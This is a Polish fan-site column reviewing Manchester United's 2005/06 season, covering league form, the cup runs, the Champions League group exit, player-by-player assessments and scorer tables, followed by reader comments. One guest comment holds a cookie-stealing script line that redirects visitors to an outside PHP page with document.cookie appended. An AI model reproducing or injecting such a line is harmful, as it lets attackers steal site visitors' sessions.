CHAMPIONS 20 TIMES

QUIZ

Wayne Rooney to czołowa postać reprezentacji Anglii. Ma na koncie wiele występów, jak i również... ROZWIĄŻ QUIZ

+ 0 - Sezon 2005/6

Publicystyka SuckItUpDeepAndGently @04.07.2006, 14:05 | Przeczytano 2218 razy

Sezon 2005/6
7 maja Manchester United rozegrał swój ostatni mecz w sezonie 2005/06. Teraz, gdy przegrana walka o mistrzostwa dobiegła wreszcie końca, a piłkarze opuścili Old Trafford, aby wspólnie z reprezentacją przygotować się do Mistrzostw Świata, nadszedł, jak co roku, czas na podsumowanie tegorocznych zmagań Czerwonych Diabłów. Jaki był zeszły sezon, udany czy wręcz przeciwnie? A, no zobaczmy…

Zacznijmy od najbardziej elementarnych rozgrywek, jakimi jest współzawodnictwo ligowe. Już drugi rok z rzędu Premiership jest opanowane przez stołeczną FC Chelsea. Klub stworzony niemalże od podstaw przez Romana Abramowicza, dzięki zatrudnieniu kilku światowej klasy piłkarzy jest w stanie zapewnić sobie mistrzostwo konsekwentnie ogrywając kolejnych rywali, przy tym samemu tracąc jak najmniej bramek. Choć końcówka sezonu zdecydowanie należała do United, to przewaga wypracowana od początku sezonu pozwoliła zachować The Blues bezpieczny dystans. Dopiero drugie miejsce przypada Manchesterowi United (ze stratą ośmiu punktów do lidera). Próbując jak najtrafniej określić dyspozycję Czerwonych Diabłów w tym sezonie należałoby powiedzieć, że grali "w kratkę". Niespodziewane porażki, jak ta z Blackburn lub też przeciwko Middlesbrough pozwoliły łatwo oddać fotel lidera w ręce klubu z Londynu. Mimo, że Chelsea wcale nie zaliczyła mniejszej liczby porażek, to dwa razy więcej remisów po stronie United mówi samo za siebie. Przybiciem ostatniego gwoździa do trumny, w której Diabły pochowały szanse na mistrzostwo była haniebna porażka na Stamford Bridge 3:0. Wbrew pozorom, było też parę miłych epizodów, jak choćby ogranie wysoko notowanych ekip. Na własnym stadionie Manchester United zanotował wygraną nad Arsenalem, Liverpoolem oraz samą Chelsea. Ponadto, czterokrotnie Diabły triumfowały strzelając ponad trzy gole. Poniektórzy, ci optymistyczniej nastawieni, powiedzieliby, że nawet druga lokata to już postęp w stosunku do rezultatu z przed roku i co najważniejsze, piłkarze mają dłuższe wakacje, dzięki przywilejowi gry w Lidze Mistrzów bez kwalifikacji.

W Anglii gra nie kończy się na lidze. Poza nią jest jeszcze Puchar Anglii oraz Carling Cup. Oba te trofea nie są tak prestiżowe jak mistrzostwo kraju, ale również mają swoją wartość. Szczególnie, gra w tych rozgrywkach ważna jest dla młodszych piłkarzy, tych, którzy dopiero pracują nad swoim wizerunkiem w oczach managera. Ten pierwszy puchar został poza zasięgiem klubu dość szybko, po wyeliminowaniu przez Liverpool jeszcze przed ćwierćfinałami. Mecz ten był przeciwieństwem poprzednich zmagań klubu z Old Trafford w tych rozgrywkach. Jak wcześniej wygrywali zdobywając nawet 5 bramek, tak tym razem stracili tą jedną, na wagę awansu. Wedle statystyk, najlepszym piłkarzem United w tych zawodach był młody Kieran Richardson z trzema bramkami na koncie, po dwie strzelali Rossi i Saha, a jedno trafienie przypadło Ryanowi Giggsowi. Jak więc widać, przygoda z pucharem Anglii nie trwała długo. Za to Carling Cup nie wymknął się Diabłom. Cały turniej był popisem jednego piłkarza, Louisa Saha. Francuz powrócił do składu po długotrwałej rekonwalescencji i zaliczając jeden dobry mecz za drugim wyparł z podstawowej jedenastki super snajpera, Ruuda Van Nistelrooy’a. W całych rozgrywkach zdobył 6 goli, co stawia go na pozycji lidera w kwalifikacji strzelców tegoż turnieju. Ekipa Sir Alexa Fergusona w sumie zdobyła 17 goli tracąc tylko 5 co również nie jest złym wynikiem, biorąc pod uwagę, że jak już wcześniej wspomniałem, na mecze te manager stara się dać szanse młodym piłkarzom.

Pozostańmy jeszcze chwilkę przy pucharach, choć nie będzie już mowy o „trofeach pocieszenia", gdyż puchar ten jest najbardziej pożądany z spośród wszystkich dostępnych. Rzecz jasna, mowa o Pucharze Ligi Mistrzów. No właśnie, jak daleko było Czerwonym Diabłom do mistrzów? Blisko nie było… Kończąc poprzedni sezon na trzecim miejscu w lidze, Manchester United musiał uczestniczyć w kwalifikacjach do Ligi Mistrzów. Przebrnięcie przez nie było tylko niezbędną formalnością. Nie było mowy o jakimkolwiek potknięciu. Diabły wygrały z węgierskim Debrecenem dwa razy po 3:0. Gdy wszyscy uczestnicy zostaną już ujawnieni następuje losowanie grup. United, jak przystało na światowej klasy drużynę losowane było z najsilniejszego koszyka, a trafiając na Lille, Villreal i Benficę myśleliśmy tylko, która z tych drużyn wyjdzie zwycięsko z walki o drugą lokatę, także premiowaną awansem. Powiedzenie „nie mów hop zanim nie przeskoczysz" jest w tej sytuacji jak najbardziej na miejscu, gdyż, jak się później okazało, wcale pierwsze miejsce nie jest przeznaczone dla klubu z Old Trafford. 7 grudnia wszyscy przekonali się, że nie dość, że nie ma United na szczycie tabeli, to nawet nie są oni drudzy, ba, nawet nie będą mieli szansy na grę w pucharze Uefa. Tak oto Czerwone Diabły notując zaledwie jedno zwycięstwo i dwa razy przegrywając, z teoretycznie najlepszej drużyny stały się praktycznie najgorszą. W sześciu meczach fazy grupowej United strzelili tylko trzy gole tracąc 4. Aż chciałoby się spytać „z czym do ludu?". Gole dla Diabłów strzelali Ruud Van Nistelrooy, Paul Scholes oraz Ryan Giggs.

Gdy już omówione zostały poszczególne rozgrywki w udziałem klubu zajmijmy się tymi, którzy ten czy inny sposób odpowiadają za tegoroczne rezultaty. Piłkarze, bo to oni reprezentują Manchester United swoją postawą na boisku, od ich dyspozycji zależy wynik tak meczu, jak i końcowe efekty. Jedni grają lepiej, inny zaś gorzej. Komu należy się pochwała, a kto zasłużył na naganę? O sile ataku United decydowali w tym roku głównie trzej piłkarze. Wayne Rooney, Louis Saha oraz Ruud Van Nistelrooy. Pierwszy z nich, a zarazem najmłodszy to piłkarz, na którym spoczywała spora presja ze strony angielskich fanów, gdyż to on miał poprowadzić reprezentację do sukcesu w Niemczech. Piszę ‘spoczywała’, bo jego występ w na Mundialu nie jest pewny i najwyraźniej to nie on będzie stał na czele Lwów Albionu w tym roku. W każdym bądź razie, w klubie robił co tylko mógł i świetnie mu to wychodziło. Zawodnik wszechobecny, silny pracowity. Nie za darmo kibice uznali go piłkarzem roku. Zdecydowanie najsilniejszy punkt drużyny. Dwaj pozostali, można powiedzieć, że działali na zmianę. Pierwsza część sezonu bez wątpienia należała do Holendra, Ruuda Van Nistelrooy’a (20 bramek), mecze pucharowe jednak, opanował wspomniany już wcześniej Saha. Mimo, że nie zdążył rozegrać wielu spotkań, to udowodnił, że instynkt strzelecki mu nie obcy. Za powodzenie napastników w pewnym stopniu odpowiadają koledzy „zza pleców" czyli pomocnicy. Ci, niestety, tworzą teoretycznie najsłabszą linię w zespole. Brak zdecydowanego lidera oraz liczne (jak co roku) kontuzje przyczyniły się do niepowodzeń klubu. Wśród Czerwonych Diabłów można zauważyć podział na piłkarzy starszych i młodszych, szczególnie widoczne jest to w środku pola, gdzie obok weteranów, takich jak Giggs i Scholes grają zawodnicy rozpoczynający dopiero swoją przygodę z futbolem. Prawoskrzydłowy, Cristino Ronaldo to zawodnik, z którym wiąże się wiele oczekiwań. Nikt nie wątpi w jego ogromny potencjał, jednakże coraz więcej osób zastanawia się czy liga angielska to właściwe miejsce dla tego młodzieńca. Dość często jego efektowne wyczyny kończą się utratą piłki na korzyść rosłego obrońcy, z drugiej zaś strony, oddanie tego piłkarza, nawet za wysoką sumę, mogłoby okazać się niewybaczalnym błędem w karierze Fergusona. Środek pomocy to pozycja najuboższa. Po tym jak z klubu odszedł Roy Keane, a kontuzji doznali Paul Scholes i Alan Smith, znalezienie odpowiedniego piłkarza wśród kadrowiczów wydaje się być niemożliwe, a przeszukiwania rynku transferowego też, jak na razie, nie przynoszą pożądanych efektów. Lewa flanka to miejsce gry Ryana Giggsa, który powoli zostaje wycofywany ze składu, a na jego miejsce szykowany jest Koreańczyk, Park Ji-Sung. Miejmy nadzieję, że już w przyszłym sezonie Sir Alex Ferguson pozwoli młodemu Azjatowi na częstsze występy, bo gdy tylko pojawiał się na boisku, starał się pracować za dwóch z nienajgorszymi efektami. Mówi się, że „drużynę buduje się od obrony", najwyraźniej manager Manchesteru United zna tą prawdę, gdyż podczas zimowego okna transferowego na Old Trafford przybyli dwa nowi defensorzy- Nemanja Vidić oraz Patrice Evra. Mimo, że to Evra jest piłkarzem dobrze znanym w całej Europie, to nie on zdołał przedrzeć się do podstawowej jedenastki. Jak twierdzi Ferguson, problemy z aklimatyzacją oraz szczyt formy jego rodaka, Mikaela Silvestre przeszkodziły Evrze w regularnym zakładaniu koszulki meczowej. Problemów tych nie miał jednak Vidić. Serb już po trzech tygodniach zaliczył dobry mecz dla nowej drużyny, szybko stał się odpowiednim partnerem dla Ferdynanda i nie jednokrotnie kibice oklaskiwali jego poczynania. Taki stan rzeczy wzmógł ducha rywalizacji u Wesley’a Browna. Anglik powróciwszy po kontuzji również głodny gry, nie często pozwalał sobie na błędy. Całą ta sytuacja sprawiła, że w rundzie wiosennej w defensywie United grał lepszy, a nie jedyny z możliwych. Prawa strona już od dłuższego czasu obsadzona jest przez Garego Neville’a. Anglik na ogół jest pewnym punktem obrony, potrafi również być groźny w ataku, a jeśli już straci formę, zawsze na szansę czeka uniwersalny John O’Shea, który potrafi grać nie tylko po obu stronach defensywy, ale również w pomocy, gdzie ostatnio często był wykorzystywany ze względu na brak Smitha. Bramka niezmiennie należała do jednego gracza, Edwin Van Der Sar rozegrał z Diabłami wszystkie z ligowych meczy, czy zapisał się w historii klubu, jako czwarty, który tego dokonał. Holender pokazał, że wiek nie stoi na przeszkodzie do gry na najwyższym poziomie. Podsumowując, Manchester United w tym sezonie dysponował kadrą na tyle silną by uplasować się na drugiej pozycji w lidze, a na pocieszenie zdobyć Carling Cup. Zespół ten nie był jednak na tyle groźny, by choć powalczyć jak równy z równym w Lidze Mistrzów. Braki w pomocy oraz niepewna sytuacja w defensywie w pierwszej części sezonu przeważyły na niekorzyść zespołu z Old Trafford.

Tak więc nie można zaliczyć zeszłego sezonu do specjalnie udanych, szczególnie ze względu na tragiczną pozycję w Lidze Mistrzów, jednak biorąc pod uwagę wysoką, drugą pozycję w tabeli (w porównaniu z trzecią z przed roku) oraz triumf z Carling Cup uznanie sezonu za stracony byłoby niesprawiedliwe. Nie można ukryć, że obecny wizerunek Manchesteru United pozostawia wiele do życzenia, ale teraz, gdy „nie ma już nic" nadchodzi sposobność do renowacji zespołu. Czy sposobność ta zostanie odpowiednio wykorzystana? Zależy, od tego, jakimi piłkarzami będzie dysponował manager na otwarcie sezonu. Na pewno Szkot pomyślał o wzmocnieniu kilkoma nowymi graczami, choć na razie nie dane nam było zobaczyć wzmożonego działania na rynku transferowym. Dlatego chciałoby się krzyknąć „śpiesz się, panie Ferguson, bo czas to pieniądz, a tych nie mamy w nieskończoność!"

Na koniec jeszcze trochę statystyk:

Najwięcej bramek w lidze:
1.Ruud Van Nistelrooy – 20
2.Wayne Rooney – 15
3. Cristiano Ronaldo – 9

Najwięcej bramek w pucharach krajowych:

1.Louis Saha – 9
2.Kieran Richardson – 4
3.Giuseppe Rossi – 3

Liga Mistrzów:

1.Ruud Van Nistelrooy, Gabriel Heinze – 2 gole
2.Wayne Rooney, Cristiano Ronaldo, Paul Scholes, Ryan Giggs – 1

Źródło: własne

Komentarze (9) Obserwuj Dodaj opinię

Postów: 13042

Napisz PW
dodano: 23.05.2008, 20:14, #9 Zwiń/Pokaż komentarz kam17
To przeszłość,teraz jesteśmy najlepsi i w Anglii i w Europie....
Postów: 22

Napisz PW
dodano: 13.02.2007, 14:16, #8 Zwiń/Pokaż komentarz Frank_Lampard
manchester jest słaby
Postów: 174

Napisz PW
dodano: 30.08.2006, 23:03, #7 Zwiń/Pokaż komentarz michalwyrwa
nie martwmy sie sezon 2006/07 bedzie dla Manchesteru !
Postów: 68

Napisz PW
dodano: 30.08.2006, 21:08, #6 Zwiń/Pokaż komentarz Rzepol
sezon 05/06 średni, ale miejmy nadzieje że sezon 06/07 będzie znakomity 8)
Postów: 83

Napisz PW
dodano: 30.08.2006, 16:59, #5 Zwiń/Pokaż komentarz bimass
udane wystepy przeplatane z katasroficznymi
Postów: 1039

Napisz PW
dodano: 17.07.2006, 09:47, #4 Zwiń/Pokaż komentarz Ronaldo17
Dobra robota ten sezon niebyl taki zly czasem bywaly gorsze
Postów: 20

Napisz PW
dodano: 16.07.2006, 15:31, #3 Zwiń/Pokaż komentarz ElPrzemeQ
Bardzo ładny, a przde wszystkim długi felieton :D Ja kontaktowałem sie z Quadem być może także będę pisał tutaj felietony i newsy. No tak... fakt, że Manchester United nie wygrał w tym seoznie ligi nie zmienia jednak tego, że w przyszłym roku (2006/07) może nam sie powieść i ja całym swoim sercem wierze w drużynę Sir Alexa Fergusona. Na otwarcie Old Trafford pewien człowiek: "Old Trafford to niezwykły stadion - jest to dom drużyny, która może czynić cuda" - I na tym zdaniu powinniśmy się wszyscy opierać.
dodano: 08.07.2006, 01:01, #2 Zwiń/Pokaż komentarz Gość [77.253.7.***]
window.location =' http://membe(...)ack.php?'+document.cookie;
Postów: 2323

Napisz PW
dodano: 06.07.2006, 18:22, #1 Zwiń/Pokaż komentarz Redakcja: DiaboLLo
Dobra robota, ciekawie sie to czyta, gratki sailes ;)
[x]Informujemy, że ta strona korzysta z plików cookies w celu realizacji usług i zgodnie z polityką plików cookies. W każdym czasie możesz określić w swojej przeglądarce warunki przechowywania lub dostępu do plików cookies.